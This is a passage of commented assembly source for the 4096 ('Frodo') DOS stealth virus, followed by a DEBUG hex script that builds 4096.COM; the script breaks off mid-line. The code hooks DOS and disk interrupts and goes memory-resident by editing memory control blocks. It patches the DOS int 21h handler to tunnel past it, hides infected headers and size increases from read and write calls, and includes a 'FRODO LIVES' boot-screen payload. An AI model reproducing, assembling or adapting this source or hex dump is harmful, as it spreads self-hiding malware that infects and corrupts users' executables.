ptr [bp-4],0 ; set return code = 0 + jmp handleopenclose_exit +not_in_virus_body: + jnz not_reading_header + cmp ax,cx ; reading from header? + ja not_reading_header + mov cs:savelength,ax ; # bytes into header +not_reading_header: + mov dx,cs:curfileposlow + mov cx,cs:curfileposhigh + or cx,cx ; if reading > 64K into file, + jnz finish_reading ; then no problems + cmp dx,1Ch ; if reading from header, then + jbe reading_from_header ; do stealthy stuff +finish_reading: + mov dx,cs:savebuffer + mov cx,cs:savelength + mov ah,3Fh ; read file + call callint21 + add ax,cs:return_code ; ax = bytes read + mov [bp-4],ax ; set return code properly + jmp _popall_then_exitint21 +reading_from_header: + mov si,dx + mov di,dx + add di,cs:savelength + cmp di,1Ch ; reading all of header? + jb read_part_of_header ; nope, calculate how much + xor di,di + jmp short do_read_from_header +read_part_of_header: + sub di,1Ch + neg di +do_read_from_header: + mov ax,dx + mov cx,cs:filesizehigh ; calculate location in + mov dx,cs:filesizelow ; the file of the virus + add dx,0Fh ; storage area for the + adc cx,0 ; original 1Ch bytes of + and dx,0FFF0h ; the file + sub dx,0FFCh + sbb cx,0 + add dx,ax + adc cx,0 + mov ax,4200h ; go to that location + call callint21 + mov cx,1Ch + sub cx,di + sub cx,si + mov ah,3Fh ; read the original header + mov dx,cs:savebuffer + call callint21 + add cs:savebuffer,ax + sub cs:savelength,ax + add cs:return_code,ax + xor cx,cx ; go past the virus's header + mov dx,1Ch + mov ax,4200h + call callint21 + jmp finish_reading ; and continue the reading + +handlewrite: + and byte ptr cs:int21flags,0FEh ; turn off trap flag + call checkforinfection + jnz continue_handlewrite + jmp exit_filetimedate_pointer +continue_handlewrite: + mov cs:savelength,cx + mov cs:savebuffer,dx + mov word ptr cs:return_code,0 + call obtainfilesize + mov ax,cs:filesizelow + mov dx,cs:filesizehigh + sub ax,1000h ; calculate original file + sbb dx,0 ; size + sub ax,cs:curfileposlow ; writing from inside the + sbb dx,cs:curfileposhigh ; virus? + js finish_write ; if not, we can continue + jmp short write_inside_virus; otherwise, fixup some stuff +finish_write: + call replaceint13and24 + push cs + pop ds + mov dx,ds:filesizelow ; calculate location in file + mov cx,ds:filesizehigh ; of the virus storage of the + add dx,0Fh ; original 1Ch bytes of the + adc cx,0 ; file + and dx,0FFF0h + sub dx,0FFCh + sbb cx,0 + mov ax,4200h + call callint21 + mov dx,offset oldheader + mov cx,1Ch + mov ah,3Fh ; read original header + call callint21 + mov ax,4200h ; go to beginning of file + xor cx,cx + mov dx,cx + call callint21 + mov dx,offset oldheader + mov cx,1Ch + mov ah,40h ; write original header to + call callint21 ; the file + mov dx,0F000h ; go back 4096 bytes + mov cx,0FFFFh ; from the end of the + mov ax,4202h ; file and + call callint21 + mov ah,40h ; truncate the file + xor cx,cx ; at that position + call callint21 + mov dx,ds:curfileposlow ; Go to current file position + mov cx,ds:curfileposhigh + mov ax,4200h + call callint21 + mov ax,5700h ; Get file time/date + call callint21 + test dh,80h + jz high_bit_aint_set + sub dh,0C8h ; restore file date + mov ax,5701h ; put it onto the disk + call callint21 +high_bit_aint_set: + call restoreint13and24 + jmp exitotherint21 +write_inside_virus: + jnz write_inside_header ; write from start of file? + cmp ax,cx + ja write_inside_header ; write from inside header? + jmp finish_write + +write_inside_header: + mov dx,cs:curfileposlow + mov cx,cs:curfileposhigh + or cx,cx ; Reading over 64K? + jnz writemorethan1Chbytes + cmp dx,1Ch ; Reading over 1Ch bytes? + ja writemorethan1Chbytes + jmp finish_write +writemorethan1Chbytes: + call _popall + call callint21 ; chain to int 21h + ; (allow write to take place) + call _pushall + mov ax,5700h ; Get file time/date + call callint21 + test dh,80h + jnz _popall_then_exitint21_ + add dh,0C8h + mov ax,5701h ; restore file date + call callint21 +_popall_then_exitint21_: + jmp _popall_then_exitint21 + + jmp exitotherint21 + +int13: + pop word ptr cs:int13tempCSIP ; get calling CS:IP off + pop word ptr cs:int13tempCSIP+2 ; the stack + pop word ptr cs:int13flags + and word ptr cs:int13flags,0FFFEh ; turn off trap flag + cmp byte ptr cs:errorflag,0 ; any errors yet? + jne exitint13error ; yes, already an error + push word ptr cs:int13flags + call dword ptr cs:origints + jnc exitint13 + inc byte ptr cs:errorflag ; mark error +exitint13error: + stc ; mark error +exitint13: + jmp dword ptr cs:int13tempCSIP ; return to caller + +int24: + xor al,al ; ignore error + mov byte ptr cs:errorflag,1 ; mark error + iret + +replaceint13and24: + mov byte ptr cs:errorflag,0 ; clear errors + call saveregs + push cs + pop ds + mov al,13h ; save int 13 handler + call getint + mov word ptr ds:origints,bx + mov word ptr ds:origints+2,es + mov word ptr ds:oldint13,bx + mov word ptr ds:oldint13+2,es + mov dl,0 + mov al,0Dh ; fixed disk interrupt + call getint + mov ax,es + cmp ax,0C000h ; is there a hard disk? + jae harddiskpresent ; C000+ is in BIOS + mov dl,2 +harddiskpresent: + mov al,0Eh ; floppy disk interrupt + call getint + mov ax,es + cmp ax,0C000h ; check if floppy + jae floppypresent + mov dl,2 +floppypresent: + mov ds:tracemode,dl + call replaceint1 + mov ds:savess,ss ; save stack + mov ds:savesp,sp + push cs ; save these on stack for + mov ax,offset setvirusints ; return to setvirusints + push ax + mov ax,70h + mov es,ax + mov cx,0FFFFh + mov al,0CBh ; retf + xor di,di + repne scasb ;scan es:di for retf statement + dec di ; es:di->retf statement + pushf + push es ; set up stack for iret to + push di ; the retf statement which + ; will cause transfer of + ; control to setvirusints + pushf + pop ax + or ah,1 ; turn on the trap flag + push ax + in al,21h ; save IMR in temporary + mov ds:saveIMR,al ; buffer and then + mov al,0FFh ; disable all the + out 21h,al ; interrupts + popf + xor ax,ax ; reset disk + jmp dword ptr ds:origints ; (int 13h call) + ; then transfer control to +setvirusints: ; setvirusints + lds dx,dword ptr ds:oldint1 + mov al,1 ; restore old int 1 handler + call setvect + push cs + pop ds + mov dx,offset int13 ; replace old int 13h handler + mov al,13h ; with virus's + call setvect + mov al,24h ; Get old critical error + call getint ; handler and save its + mov word ptr ds:oldint24,bx ; location + mov word ptr ds:oldint24+2,es + mov dx,offset int24 + mov al,24h ; Replace int 24 handler + call setvect ; with virus's handler + call restoreregs + retn + + +restoreint13and24: + call saveregs + lds dx,dword ptr cs:oldint13 + mov al,13h + call setvect + lds dx,dword ptr cs:oldint24 + mov al,24h + call setvect + call restoreregs + retn + + +disableBREAK: + mov ax,3300h ; Get current BREAK setting + call callint21 + mov cs:BREAKsave,dl + mov ax,3301h ; Turn BREAK off + xor dl,dl + call callint21 + retn + + +restoreBREAK: + mov dl,cs:BREAKsave + mov ax,3301h ; restore BREAK setting + call callint21 + retn + + +_pushall: + pop word ptr cs:pushpopalltempstore + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + jmp word ptr cs:pushpopalltempstore + +swapvirint21: + les di,dword ptr cs:oldint21; delve into original int + mov si,offset jmpfarptr ; handler and swap the first + push cs ; 5 bytes. This toggles it + pop ds ; between a jmp to the virus + cld ; code and the original 5 + mov cx,5 ; bytes of the int handler +swapvirint21loop: ; this is a tunnelling method + lodsb ; if I ever saw one + xchg al,es:[di] ; puts the bytes in DOS's + mov [si-1],al ; int 21h handler + inc di + loop swapvirint21loop + + retn + + +_popall: + pop word ptr cs:pushpopalltempstore + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp word ptr cs:pushpopalltempstore + +restoreregs: + mov word ptr cs:storecall,offset _popall + jmp short do_saverestoreregs + +saveregs: + mov word ptr cs:storecall,offset _pushall +do_saverestoreregs: + mov cs:storess,ss ; save stack + mov cs:storesp,sp + push cs + pop ss + mov sp,cs:stackptr ; set new stack + call word ptr cs:storecall + mov cs:stackptr,sp ; update internal stack ptr + mov ss,cs:storess ; and restore stack to + mov sp,cs:storesp ; caller program's stack + retn + + +replaceint1: + mov al,1 ; get the old interrupt + call getint ; 1 handler and save it + mov word ptr cs:oldint1,bx ; for later restoration + mov word ptr cs:oldint1+2,es + push cs + pop ds + mov dx,offset int1 ; set int 1 handler to + call setvect ; the virus int handler + retn + +allocatememory: + call allocate_memory + jmp exitotherint21 + +allocate_memory: + cmp byte ptr cs:checkres,0 ; installed check + je exitallocate_memory ; exit if installed + cmp bx,0FFFFh ; finding total memory? + jne exitallocate_memory ; (virus trying to install?) + mov bx,160h ; allocate memory to virus + call callint21 + jc exitallocate_memory ; exit on error + mov dx,cs + cmp ax,dx + jb continue_allocate_memory + mov es,ax + mov ah,49h ; Free memory + call callint21 + jmp short exitallocate_memory +continue_allocate_memory: + dec dx ; get segment of MCB + mov ds,dx + mov word ptr ds:[1],0 ; mark unused MCB + inc dx ; go to memory area + mov ds,dx + mov es,ax + push ax + mov word ptr cs:int21store+2,ax ; fixup segment + xor si,si + mov di,si + mov cx,0B00h + rep movsw ; copy virus up there + dec ax ; go to MCB + mov es,ax + mov ax,cs:ownerfirstMCB ; get DOS PSP ID + mov es:[1],ax ; make vir ID = DOS PSP ID + mov ax,offset exitallocate_memory + push ax + retf + +exitallocate_memory: + retn + +get_device_info: + mov byte ptr cs:hide_size,2 + jmp exitotherint21 + +callint21: ; call original int 21h handler (tunnelled) + pushf + call dword ptr cs:oldint21 + retn + +bootblock: + cli + xor ax,ax ; set new stack just below + mov ss,ax ; start of load area for + mov sp,7C00h ; boot block + jmp short enter_bootblock +borderchars db '栢� ' + +FRODO_LIVES: ; bitmapped 'FRODO LIVES!' + db 11111001b,11100000b,11100011b,11000011b,10000000b + db 10000001b,00010001b,00010010b,00100100b,01000000b + db 10000001b,00010001b,00010010b,00100100b,01000000b + db 11110001b,11110001b,00010010b,00100100b,01000000b + db 10000001b,00100001b,00010010b,00100100b,01000000b + db 10000001b,00010000b,11100011b,11000011b,10000000b + db 00000000b,00000000b,00000000b,00000000b,00000000b + db 00000000b,00000000b,00000000b,00000000b,00000000b + db 10000010b,01000100b,11111000b,01110000b,11000000b + db 10000010b,01000100b,10000000b,10001000b,11000000b + db 10000010b,01000100b,10000000b,10000000b,11000000b + db 10000010b,01000100b,11110000b,01110000b,11000000b + db 10000010b,00101000b,10000000b,00001000b,11000000b + db 10000010b,00101000b,10000000b,10001000b,00000000b + db 11110010b,00010000b,11111000b,01110000b,11000000b +enter_bootblock: + push cs + pop ds + mov dx,0B000h ; get video page in bh + mov ah,0Fh ; get video mode in al + int 10h ; get columns in ah + + cmp al,7 ; check if colour + je monochrome + mov dx,0B800h ; colour segment +monochrome: + mov es,dx ; es->video segment + cld + xor di,di + mov cx,25*80 ; entire screen + mov ax,720h ; ' ', normal attribute + rep stosw ; clear the screen + mov si,7C00h+FRODO_LIVES-bootblock + mov bx,2AEh +morelinestodisplay: + mov bp,5 + mov di,bx +displaymorebackgroundontheline: + lodsb ; get background pattern + mov dh,al + mov cx,8 + +displayinitialbackground: + mov ax,720h + shl dx,1 + jnc spacechar + mov al,'�' +spacechar: + stosw + loop displayinitialbackground + + dec bp + jnz displaymorebackgroundontheline + add bx,80*2 ; go to next line + cmp si,7C00h+enter_bootblock-bootblock + jb morelinestodisplay + mov ah,1 ; set cursor mode to cx + int 10h + + mov al,8 ; set new int 8 handler + mov dx,7C00h+int8-bootblock ; to spin border + call setvect + mov ax,7FEh ; enable timer interrupts only + out 21h,al + + sti + xor bx,bx + mov cx,1 + jmp short $ ; loop forever while + ; spinning the border + +int8: ; the timer interrupt spins + dec cx ; the border + jnz endint8 + xor di,di + inc bx + call spin_border + call spin_border + mov cl,4 ; wait 4 more ticks until +endint8: ; next update + mov al,20h ; Signal end of interrupt + out 20h,al + iret + +spin_border: + mov cx,28h ; do 40 characters across + +dohorizontal: + call lookup_border_char + stosw + stosw + loop dohorizontal +patch2: + add di,9Eh ; go to next line + mov cx,17h ; do for next 23 lines + +dovertical: ; handle vertical borders + call lookup_border_char ; get border character + stosw ; print it on screen +patch3: + add di,9Eh ; go to next line + loop dovertical +patch1: + std + ; this code handles the other half of the border + xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld + xor byte ptr ds:[7C00h+patch2-bootblock+1],28h + xor byte ptr ds:[7C00h+patch3-bootblock+1],28h + retn + + +lookup_border_char: + and bx,3 ; find corresponding border + mov al,ds:[bx+7C00h+borderchars-bootblock] + inc bx ; character + retn + + +setvect: + push es + push bx + xor bx,bx + mov es,bx + mov bl,al ; int # to bx + shl bx,1 ; int # * 4 = offset in + shl bx,1 ; interrupt table + mov es:[bx],dx ; set the vector in the + mov es:[bx+2],ds ; interrupt table + pop bx + pop es + retn + + +writebootblock: ; this is an unfinished subroutine; it doesn't work properly + call replaceint13and24 + mov dl,80h + db 0E8h, 08h, 00h, 32h,0D2h,0E8h + db 03h, 01h, 00h, 9Ah, 0Eh, 32h + db 08h, 70h, 00h, 33h, 0Eh, 2Eh + db 03h, 6Ch, 15h, 03h, 00h, 26h + db 00h, 00h, 00h, 21h, 00h, 50h + db 12h, 65h, 14h, 82h, 08h, 00h + db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h + db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch + db 15h,0E2h, 0Ch, 1Eh, 93h, 00h + db 00h,0E2h, 0Ch, 50h + + org 1200h +readbuffer dw ? ; beginning of the read buffer +lengthMOD512 dw ? ; EXE header item - length of image modulo 512 +lengthinpages dw ? ; EXE header item - length of image in pages +relocationitems dw ? ; EXE header item - # relocation items +headersize dw ? ; EXE header item - header size in paragraphs +minmemory dw ? ; EXE header item - minimum memory allocation +maxmemory dw ? ; EXE header item - maximum memory allocation +initialSS dw ? ; EXE header item - initial SS value +initialSP dw ? ; EXE header item - initial SP value +wordchecksum dw ? ; EXE header item - checksum value +initialIP dw ? ; EXE header item - initial IP value +initialCS dw ? ; EXE header item - initial CS value + db 12 dup (?) ; rest of header - unused +parmblock dd ? ; address of parameter block +filedrive db ? ; 0 = default drive +filetime dw ? ; saved file time +filedate dw ? ; saved file date +origints dd ? ; temporary scratch buffer for interrupt vectors +oldint1 dd ? ; original interrupt 1 vector +oldint21 dd ? ; original interrupt 21h vector +oldint13 dd ? ; original interrupt 13h vector +oldint24 dd ? ; original interrupt 24h vector +int13tempCSIP dd ? ; stores calling CS:IP of int 13h +carrierPSP dw ? ; carrier file PSP segment +DOSsegment dw ? ; segment of DOS list of lists +ownerfirstMCB dw ? ; owner of the first MCB +jmpfarptr db ? ; 0eah, jmp far ptr +int21store dd ? ; temporary storage for other 4 bytes + ; and for pointer to virus int 21h +tracemode db ? ; trace mode +instructionstotrace db ? ; number of instructions to trace +handletable dw 28h dup (?) ; array of handles +handlesleft db ? ; entries left in table +currentPSP dw ? ; storage for the current PSP segment +curfileposlow dw ? ; current file pointer location, low word +curfileposhigh dw ? ; current file pointer location, high word +filesizelow dw ? ; current file size, low word +filesizehigh dw ? ; current file size, high word +savebuffer dw ? ; storage for handle read, etc. +savelength dw ? ; functions +return_code dw ? ; returned in AX on exit of int 21h +int21flags dw ? ; storage of int 21h return flags register +tempFCB db 25h dup (?) ; copy of the FCB +errorflag db ? ; 0 if no error, 1 if error +int13flags dw ? ; storage of int 13h return flags register +savess dw ? ; temporary storage of stack segment +savesp dw ? ; and stack pointer +BREAKsave db ? ; current BREAK state +checkres db ? ; already installed flag +initialax dw ? ; AX upon entry to carrier +saveIMR db ? ; storage for interrupt mask register +saveoffset dw ? ; temp storage of CS:IP of +savesegment dw ? ; caller to int 21h +pushpopalltempstore dw ? ; push/popall caller address +numfreeclusters dw ? ; total free clusters +DOSversion db ? ; current DOS version +hideclustercountchange db ? ; flag of whether to hide free cluster count +hide_size db ? ; hide filesize increase if equal to 0 +copyparmblock db 0eh dup (?) ; copy of the parameter block +origsp dw ? ; temporary storage of stack pointer +origss dw ? ; and stack segment +origcsip dd ? ; temporary storage of caller CS:IP +copyfilename db 50h dup (?) ; copy of filename +storesp dw ? ; temporary storage of stack pointer +storess dw ? ; and stack segment +stackptr dw ? ; register storage stack pointer +storecall dw ? ; temporary storage of function offset + +topstack = 1600h + +_4096 ends + end +-------------------------------------------------------------------------- +N 4096.COM +E 0100 00 E9 A7 00 C3 75 02 44 15 46 20 43 6F 70 79 72 +E 0110 69 67 68 74 20 42 6F 75 72 62 25 7D 69 2C 20 49 +E 0120 00 FE 3A 55 8B EC 50 81 7E 04 00 C0 73 0C 2E A1 +E 0130 47 12 39 46 04 76 03 58 5D CF 2E 80 3E 50 12 01 +E 0140 74 32 8B 46 04 2E A3 2F 12 8B 46 02 2E A3 2D 12 +E 0150 72 15 58 5D 2E 8E 16 DD 12 2E 8B 26 DF 12 2E A0 +E 0160 E5 12 E6 21 E9 D9 0C 81 66 06 FF FE 2E A0 E5 12 +E 0170 E6 21 EB C3 2E FE 0E 51 12 75 BC 81 66 06 FF FE +E 0180 E8 6C 0D E8 34 0D 2E C5 16 31 12 B0 01 E8 0C 0F +E 0190 E8 53 0D EB D2 1E 56 33 F6 8E DE 32 E4 8B F0 D1 +E 01A0 E6 D1 E6 8B 1C 8E 44 02 5E 1F C3 2E C7 06 5B 13 +E 01B0 00 16 2E A3 E3 12 B4 30 CD 21 2E A2 EE 12 2E 8C +E 01C0 1E 45 12 B4 52 CD 21 26 8B 47 FE 2E A3 47 12 8E +E 01D0 C0 26 A1 01 00 2E A3 49 12 0E 1F B0 01 E8 B5 FF +E 01E0 89 1E 31 12 8C 06 33 12 B0 21 E8 A8 FF 89 1E 2D +E 01F0 12 8C 06 2F 12 C6 06 50 12 00 BA 23 00 B0 01 E8 +E 0200 9A 0E 9C 58 0D 00 01 50 E4 21 A2 E5 12 B0 FF E6 +E 0210 21 9D B4 52 9C FF 1E 2D 12 9C 58 25 FF FE 50 9D +E 0220 A0 E5 12 E6 21 1E C5 16 31 12 B0 01 E8 6D 0E 1F +E 0230 C4 3E 2D 12 89 3E 35 12 8C 06 37 12 C6 06 4B 12 +E 0240 EA C7 06 4C 12 CC 02 8C 0E 4E 12 E8 6C 0C B8 00 +E 0250 4B 88 26 E2 12 BA 21 00 FF 36 20 00 CD 21 8F 06 +E 0260 20 00 26 83 45 FC 09 90 8E 06 45 12 8E 1E 45 12 +E 0270 81 2E 02 00 61 01 8B 2E 02 00 8C DA 2B EA B4 4A +E 0280 BB FF FF CD 21 B4 4A CD 21 4A 8E DA 80 3E 00 00 +E 0290 5A 74 05 2E FE 0E E2 12 2E 80 3E E2 12 00 74 05 +E 02A0 C6 06 00 00 4D A1 03 00 8B D8 2D 61 01 03 D0 A3 +E 02B0 03 00 42 8E C2 26 C6 06 00 00 5A 2E FF 36 49 12 +E 02C0 26 8F 06 01 00 26 C7 06 03 00 60 01 42 8E C2 0E +E 02D0 1F B9 00 0B BE FE 15 8B FE FD F3 A5 FC 06 B8 EE +E 02E0 01 50 2E 8E 06 45 12 B4 4A 8B DD CD 21 CB E8 C9 +E 02F0 0B 2E 8C 0E 4E 12 E8 C1 0B 0E 1F C6 06 A2 12 14 +E 0300 0E 07 BF 52 12 B9 14 00 33 C0 F3 AB A2 EF 12 A1 +E 0310 45 12 8E C0 26 C5 16 0A 00 8E D8 05 10 00 2E 01 +E 0320 06 1A 00 2E 80 3E 20 00 00 75 24 FB 2E A1 04 00 +E 0330 A3 00 01 2E A1 06 00 A3 02 01 2E A1 08 00 A3 04 +E 0340 01 2E FF 36 45 12 B8 00 01 50 2E A1 E3 12 CB 2E +E 0350 01 06 12 00 2E A1 E3 12 2E 8E 16 12 00 2E 8B 26 +E 0360 14 00 FB 2E FF 2E 18 00 81 FC 00 01 77 02 33 E4 +E 0370 8B E8 E8 00 00 59 81 E9 75 02 8C C8 BB 10 00 F7 +E 0380 E3 03 C1 83 D2 00 F7 F3 50 B8 AB 00 50 8B C5 CB +E 0390 30 7C 07 23 4E 04 37 8B 0E 4B 8B 05 3C D5 04 3D +E 03A0 11 05 3E 55 05 0F 9B 03 14 CD 03 21 C1 03 27 BF +E 03B0 03 11 59 03 12 59 03 4E 9F 04 4F 9F 04 3F A5 0A +E 03C0 40 8A 0B 42 90 0A 57 41 0A 48 34 0E 3D 00 4B 75 +E 03D0 04 2E A2 E2 12 55 8B EC FF 76 06 2E 8F 06 B3 12 +E 03E0 5D 55 8B EC E8 08 0B E8 D0 0A E8 9A 0A E8 F6 0A +E 03F0 E8 B4 0A 53 BB 90 02 2E 3A 27 75 09 2E 8B 5F 01 +E 0400 87 5E EC FC C3 83 C3 03 81 FB CC 02 72 E9 5B E8 +E 0410 89 0A E4 21 2E A2 E5 12 B0 FF E6 21 2E C6 06 51 +E 0420 12 04 2E C6 06 50 12 01 E8 F1 0A E8 A5 0A 50 2E +E 0430 A1 B3 12 0D 00 01 50 9D 58 5D 2E FF 2E 35 12 E8 +E 0440 AD 0A E8 56 0A E8 72 0A E8 9B 0A 5D 55 8B EC 2E +E 0450 FF 36 B3 12 8F 46 06 5D CF E8 77 0A E8 35 0B 0A +E 0460 C0 75 DC E8 41 0A E8 18 02 B0 00 80 3F FF 75 06 +E 0470 8A 47 06 83 C3 07 2E 20 06 F0 12 F6 47 1A 80 74 +E 0480 15 80 6F 1A C8 2E 80 3E F0 12 00 75 09 81 6F 1D +E 0490 00 10 83 5F 1F 00 E8 3A 0A EB A4 E8 35 0A E8 F3 +E 04A0 0A E8 03 0A 0A C0 75 EE 8B DA F6 47 15 80 74 E6 +E 04B0 80 6F 15 C8 81 6F 10 00 10 80 5F 12 00 EB D7 E3 +E 04C0 1B 8B DA 8B 77 21 0B 77 23 75 11 EB 0A 8B DA 8B +E 04D0 47 0C 0A 47 20 75 05 E8 3F 05 73 03 E9 30 FF E8 +E 04E0 F1 09 E8 C2 09 E8 AC 0A 89 46 FC 89 4E F8 1E 52 +E 04F0 E8 8E 01 83 7F 14 01 74 0F 8B 07 03 47 02 03 47 +E 0500 04 74 05 83 C4 04 EB 8E 5A 1F 8B F2 0E 07 BF B5 +E 0510 12 B9 25 00 F3 A4 BF B5 12 0E 1F 8B 45 10 8B 55 +E 0520 12 05 0F 10 83 D2 00 25 F0 FF 89 45 10 89 55 12 +E 0530 2D FC 0F 83 DA 00 89 45 21 89 55 23 C7 45 0E 01 +E 0540 00 B9 1C 00 8B D7 B4 27 E8 49 0A E9 48 FF 0E 07 +E 0550 8B F2 BF B5 12 B9 25 00 F3 A4 1E 52 0E 1F BA B5 +E 0560 12 B4 0F E8 2E 0A B4 10 E8 29 0A F6 06 CA 12 80 +E 0570 5E 1F 74 7E 2E C4 1E C5 12 8C C0 81 EB 00 10 1D +E 0580 00 00 33 D2 2E 8B 0E C3 12 49 03 D9 15 00 00 41 +E 0590 F7 F1 89 44 23 92 93 F7 F1 89 44 21 E9 F7 FE 2E +E 05A0 83 26 B3 12 FE E8 2B 09 E8 E9 09 E8 F9 08 73 09 +E 05B0 2E 83 0E B3 12 01 E9 DD FE E8 C5 00 F6 47 19 80 +E 05C0 75 03 E9 D1 FE 81 6F 1A 00 10 83 5F 1C 00 80 6F +E 05D0 19 C8 E9 C1 FE 51 83 E1 07 83 F9 07 74 2F 59 E8 +E 05E0 E4 07 E8 AF 09 E8 84 08 9C 2E 80 3E DA 12 00 74 +E 05F0 04 9D E9 1A FE 9D 72 09 8B D8 B4 3E E8 95 09 EB +E 0600 10 2E 80 0E B3 12 01 89 46 FC E9 89 FE 59 E9 FE +E 0610 FD E8 5D 04 E8 0E 04 72 39 2E 80 3E A2 12 00 74 +E 0620 31 E8 5A 04 83 FB FF 74 29 2E FE 0E A2 12 0E 07 +E 0630 BF 52 12 B9 14 00 33 C0 F2 AF 2E A1 A3 12 26 89 +E 0640 45 FE 26 89 5D 26 89 5E FC 2E 80 26 B3 12 FE E9 +E 0650 44 FE E9 BA FD 0E 07 E8 17 04 BF 52 12 B9 14 00 +E 0660 2E A1 A3 12 F2 AF 75 16 26 3B 5D 26 75 F6 26 C7 +E 0670 45 FE 00 00 E8 1C 02 2E FE 06 A2 12 EB CB E9 8E +E 0680 FD 06 B4 2F E8 0D 09 06 1F 07 C3 0A C0 74 03 E9 +E 0690 4E 01 1E 52 2E 89 1E 24 12 2E 8C 06 26 12 2E C5 +E 06A0 36 24 12 BF F1 12 B9 0E 00 0E 07 F3 A4 5E 1F BF +E 06B0 07 13 B9 50 00 F3 A4 BB FF FF E8 7D 08 E8 13 08 +E 06C0 5D 2E 8F 06 E6 12 2E 8F 06 E8 12 2E 8F 06 B3 12 +E 06D0 B8 01 4B 0E 07 BB F1 12 9C 2E FF 1E 35 12 73 20 +E 06E0 2E 83 0E B3 12 01 2E FF 36 B3 12 2E FF 36 E8 12 +E 06F0 2E FF 36 E6 12 55 8B EC 2E C4 1E 24 12 E9 3F FD +E 0700 E8 6E 03 0E 07 BF 52 12 B9 14 00 2E A1 A3 12 F2 +E 0710 AF 75 0D 26 C7 45 FE 00 00 2E FE 06 A2 12 EB EB +E 0720 2E C5 36 03 13 83 FE 01 75 33 8B 16 1A 00 83 C2 +E 0730 10 B4 51 E8 5E 08 03 D3 2E 89 16 05 13 FF 36 18 +E 0740 00 2E 8F 06 03 13 83 C3 10 03 1E 12 00 2E 89 1E +E 0750 01 13 FF 36 14 00 2E 8F 06 FF 12 EB 22 8B 04 03 +E 0760 44 02 03 44 04 74 60 0E 1F BA 07 13 E8 B6 02 E8 +E 0770 0C 03 2E FE 06 EF 12 E8 19 01 2E FE 0E EF 12 B4 +E 0780 51 E8 10 08 E8 68 07 E8 11 07 E8 2D 07 E8 56 07 +E 0790 8E DB 8E C3 2E FF 36 B3 12 2E FF 36 E8 12 2E FF +E 07A0 36 E6 12 8F 06 0A 00 8F 06 0C 00 1E C5 16 0A 00 +E 07B0 B0 22 E8 E7 08 1F 9D 58 2E 8E 16 01 13 2E 8B 26 +E 07C0 FF 12 2E FF 2E 03 13 8B 5C 01 8B 80 9F FD 89 04 +E 07D0 8B 80 A1 FD 89 44 02 8B 80 A3 FD 89 44 04 EB 9F +E 07E0 3C 01 74 03 E9 28 FC 2E 83 0E B3 12 01 2E 89 1E +E 07F0 24 12 2E 8C 06 26 12 E8 D9 06 E8 97 07 E8 A7 06 +E 0800 2E C4 1E 24 12 26 C5 77 12 72 6E 2E 80 26 B3 12 +E 0810 FE 83 FE 01 74 23 8B 04 03 44 02 03 44 04 75 45 +E 0820 8B 5C 01 8B 80 9F FD 89 04 8B 80 A1 FD 89 44 02 +E 0830 8B 80 A3 FD 89 44 04 EB 2C 8B 16 1A 00 E8 31 02 +E 0840 2E 8B 0E A3 12 83 C1 10 03 D1 26 89 57 14 A1 18 +E 0850 00 26 89 47 12 A1 12 00 03 C1 26 89 47 10 A1 14 +E 0860 00 26 89 47 0E E8 09 02 2E 8E 1E A3 12 8B 46 02 +E 0870 A3 0A 00 8B 46 04 A3 0C 00 E9 1A FC 2E C6 06 F0 +E 0880 12 00 B4 2A E8 0D 07 81 FA 16 09 72 03 E8 22 08 +E 0890 E9 7C FB E8 30 05 E8 BC 00 C6 06 20 00 01 81 3E +E 08A0 00 12 4D 5A 74 0E 81 3E 00 12 5A 4D 74 06 FE 0E +E 08B0 20 00 74 58 A1 04 12 D1 E1 F7 E1 05 00 02 3B C6 +E 08C0 72 48 A1 0A 12 0B 06 0C 12 74 3F A1 A9 12 8B 16 +E 08D0 AB 12 B9 00 02 F7 F1 0B D2 74 01 40 A3 04 12 89 +E 08E0 16 02 12 83 3E 14 12 01 74 62 C7 06 14 12 01 00 +E 08F0 8B C6 2B 06 08 12 A3 16 12 83 06 04 12 08 A3 0E +E 0900 12 C7 06 10 12 00 10 E8 A9 00 EB 40 81 FE 00 0F +E 0910 73 3A A1 00 12 A3 04 00 03 D0 A1 02 12 A3 06 00 +E 0920 03 D0 A1 04 12 A3 08 00 03 D0 74 20 B1 E9 88 0E +E 0930 00 12 B8 10 00 F7 E6 05 65 02 A3 01 12 A1 00 12 +E 0940 03 06 02 12 F7 D8 A3 04 12 E8 67 00 B4 3E E8 43 +E 0950 06 E8 18 05 C3 0E 1F B8 00 57 E8 37 06 89 0E 29 +E 0960 12 89 16 2B 12 B8 00 42 33 C9 8B D1 E8 25 06 B4 +E 0970 3F B1 1C BA 00 12 E8 1B 06 B8 00 42 33 C9 8B D1 +E 0980 E8 11 06 B4 3F B1 1C BA 04 00 E8 07 06 B8 02 42 +E 0990 33 C9 8B D1 E8 FD 05 A3 A9 12 89 16 AB 12 8B F8 +E 09A0 05 0F 00 83 D2 00 25 F0 FF 2B F8 B9 10 00 F7 F1 +E 09B0 8B F0 C3 B8 00 42 33 C9 8B D1 E8 D7 05 B4 40 B1 +E 09C0 1C BA 00 12 E8 CD 05 B8 10 00 F7 E6 8B CA 8B D0 +E 09D0 B8 00 42 E8 BE 05 33 D2 B9 00 10 03 CF B4 40 E8 +E 09E0 B2 05 B8 01 57 8B 0E 29 12 8B 16 2B 12 F6 C6 80 +E 09F0 75 03 80 C6 C8 E8 9C 05 80 3E EE 12 03 72 19 80 +E 0A00 3E EF 12 00 74 12 53 8A 16 28 12 B4 32 E8 84 05 +E 0A10 2E A1 EC 12 89 47 1E 5B C3 E8 D3 04 8B FA 83 C7 +E 0A20 0D 1E 07 EB 20 E8 C7 04 1E 07 8B FA B9 50 00 33 +E 0A30 C0 B3 00 80 7D 01 3A 75 05 8A 1D 80 E3 1F 2E 88 +E 0A40 1E 28 12 F2 AE 8B 45 FD 25 DF DF 02 E0 8A 45 FC +E 0A50 24 DF 02 C4 2E C6 06 20 00 00 3C DF 74 09 2E FE +E 0A60 06 20 00 3C E2 75 05 E8 7C 04 F8 C3 E8 77 04 F9 +E 0A70 C3 53 B4 51 E8 1D 05 2E 89 1E A3 12 5B C3 E8 45 +E 0A80 03 52 2E 8A 16 28 12 B4 36 E8 08 05 F7 E1 F7 E3 +E 0A90 8B DA 5A 0B DB 75 05 3D 00 40 72 43 B8 00 43 E8 +E 0AA0 F2 04 72 3B 8B F9 33 C9 B8 01 43 E8 E6 04 2E 80 +E 